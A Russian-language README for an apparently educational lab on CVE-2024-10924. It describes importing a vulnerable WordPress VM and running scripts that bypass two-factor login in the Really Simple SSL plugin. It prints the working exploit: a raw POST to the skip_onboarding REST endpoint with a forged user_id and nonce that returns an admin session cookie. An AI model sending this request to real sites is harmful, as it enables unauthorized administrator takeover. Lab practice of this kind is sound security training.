
Лабораторная среда и эксплойт-скрипт для CVE-2024-10924, демонстрирующие обход MFA в WordPress через конечную точку skip_onboarding плагина Really Simple SSL.
Этот репозиторий предоставляет лабораторию для эксплуатации уязвимости CVE-2024-10924 в WordPress, а именно для обхода двухфакторной аутентификации (MFA) и получения доступа к панели администрирования WordPress.
Чтобы развернуть эту лабораторию в вашей среде, выполните следующие шаги:
Вам нужно распаковать zip-архив лаборатории, затем в VMWare нажать Open для импорта виртуальной машины, выбрать файл с именем Ubuntu-Bypass-MFA-Wordpress.vmx и, наконец, нажать Power, чтобы включить уязвимую машину.
На вашей машине Kali установите необходимые инструменты и убедитесь, что у вас установлены следующие приложения:
nmap: Для выполнения сканирования сети.requests: Для выполнения HTTP-запросов (если его нет, установите requests с помощью pip install requests).rich: Для элегантного вывода в консоль (установите с помощью pip install rich).Чтобы получить IP-адрес машины WordPress в сетевом окружении, выполните следующий скрипт на вашей машине Kali:
$ python3 knowIPwordpress.py
This script does the following:
Определяет ваш локальный IP.
Сканирует соответствующий сетевой сегмент для поиска активных IP.
Выполняет сканирование портов для HTTP-сервисов.
Проверяет, что IP машины WordPress имеет заголовок "Bypass-MFA" в своем HTTP-сервисе.
После нахождения он покажет вам URL, по которому можно получить доступ к панели администрирования WordPress:
Accede a WordPress en: http://<IP>/wp-admin
admin:admin
Когда вы попытаетесь войти в WordPress, он запросит двухфакторную верификацию (MFA). Чтобы обойти этот шаг, выполните следующий скрипт на вашем Kali:
$ python3 bypass-MFA-Wordpress.py
Как работает скрипт bypass-MFA-Wordpress.py
Этот скрипт эксплуатирует уязвимость CVE-2024-10924 и обходит двойную проверку для получения доступа к панели администрирования WordPress.
Получение сессионной cookie: Скрипт отправляет HTTP-запрос к конечной точке reallysimplessl/v1/two_fa/skip_onboarding для получения действительной сессионной cookie.
Запрос отправляется со следующими данными:
{
"user_id": 1,
"login_nonce": "133333337",
"redirect_to": "/wp-admin/"
}
После получения cookie скрипт запрашивает имя пользователя и пароль WordPress. Затем он отправляет POST-запрос к конечной точке wp-admin/profile.php с предоставленными учетными данными для входа.
Если обход прошел успешно, скрипт сохраняет ответ панели администратора в файл .html и открывает его в вашем браузере по умолчанию.
Теперь у вас будет доступ к панели администрирования WordPress!
Если вы хотите сделать это вручную с помощью BurpSuite и хотите узнать Endpoint, на который нужно отправить запрос для перехвата Cookie, это можно сделать следующим образом:
$ python3 endpointWordpress.py
Это покажет код, который нужно вставить в BurpSuite для захвата Cookie. В моем случае это выглядит так:
POST http://192.168.5.192/?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1
Host: 192.168.5.192
Content-Type: application/json
Content-Length: 89
Connection: keep-alive
{
"user_id": 1,
"login_nonce": "133333337",
"redirect_to": "/wp-admin/"
}
https://github.com/user-attachments/assets/e70789d1-4fe4-46b4-81ef-76229dd265ce